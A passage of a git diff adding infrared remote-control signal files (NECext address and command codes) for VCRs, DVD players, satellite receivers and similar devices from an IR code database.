00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: TV/CATV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir new file mode 100644 index 000000000..8af73f383 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: 00 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: 3S +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: END_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: END_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: START_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: START_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: HI-REW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: REW_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: MINUS +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: PLUS +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir b/assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir new file mode 100644 index 000000000..72aa86a21 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 00 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 01 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 02 00 00 00 +# +name: HD +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 03 00 00 00 +# +name: HD2 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 04 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 05 00 00 00 +# +name: RGB_3 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 06 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 07 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 09 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 0A 00 00 00 +# +name: FULL +type: parsed +protocol: NECext +address: 7B 02 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir new file mode 100644 index 000000000..6c4afa1cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 00 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 03 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 06 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 21 00 00 00 +# +name: SEARCHMODE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 23 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2F 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 37 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 38 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir new file mode 100644 index 000000000..eb77d1417 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 00 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 06 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 12 00 00 00 +# +name: searchforward +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 15 00 00 00 +# +name: searchback +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 21 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 22 00 00 00 +# +name: searchmode +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 23 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 29 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2D 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 2F 00 00 00 +# +name: atob +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 30 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 32 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 34 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 36 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 37 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 38 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3C 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 1D 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir b/assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir new file mode 100644 index 000000000..5d7d4d3fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 80 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 81 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 82 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 83 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 84 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 85 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 86 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 87 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 88 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 89 00 00 00 +# +name: change +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 8F 00 00 00 +# +name: game/remote +type: parsed +protocol: NECext +address: 00 F6 00 00 +command: 90 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir b/assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir new file mode 100644 index 000000000..d71507907 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: >_^ +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 00 00 00 00 +# +name: 3_F +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 01 00 00 00 +# +name: 2_T +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 02 00 00 00 +# +name: 1_G +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 03 00 00 00 +# +name: <_V +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 04 00 00 00 +# +name: 6_X +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 05 00 00 00 +# +name: 5_W +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 06 00 00 00 +# +name: 4_S +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 07 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 08 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 09 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0A 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0B 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0C 00 00 00 +# +name: 9_K +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0D 00 00 00 +# +name: 8_M +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0E 00 00 00 +# +name: 7_A +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 0F 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 11 00 00 00 +# +name: 0_Z +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 12 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 14 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 15 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 16 00 00 00 +# +name: MESSAGE +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 17 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 18 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 19 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1A 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1B 00 00 00 +# +name: CHAN +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1C 00 00 00 +# +name: TUNE +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1E 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 84 63 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir b/assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir new file mode 100644 index 000000000..7d4e7fc6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_1_(A) +type: parsed +protocol: NECext +address: 31 EB 00 00 +command: 83 00 00 00 +# +name: INPUT_2_(A) +type: parsed +protocol: NECext +address: 31 EB 00 00 +command: 84 00 00 00 +# +name: INPUT_3_(A) +type: parsed +protocol: NECext +address: 31 EB 00 00 +command: 85 00 00 00 +# +name: INPUT_4_(A) +type: parsed +protocol: NECext +address: 31 EB 00 00 +command: 86 00 00 00 +# +name: INPUT_5_(A) +type: parsed +protocol: NECext +address: 31 EB 00 00 +command: 87 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir b/assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir new file mode 100644 index 000000000..9b4219153 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 13 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 18 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 19 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 1F 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 44 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 4C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 4D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 4E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 50 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 52 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 54 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 56 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 59 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 5A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 5D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 80 67 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir new file mode 100644 index 000000000..0c09c7994 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1D 00 00 00 +# +name: DOWN_(RT_TOP) +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 1D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 40 00 00 00 +# +name: UP_(LT_TOP) +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 40 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 41 00 00 00 +# +name: DOTTON_RT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 41 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 43 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir new file mode 100644 index 000000000..065089129 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: PRESET_1 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 03 00 00 00 +# +name: PRESET_2 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 04 00 00 00 +# +name: IN/OUT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 06 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 07 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 08 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: PRESET_3 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 10 00 00 00 +# +name: PRESET_4 +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir b/assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir new file mode 100644 index 000000000..d5db9ba35 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 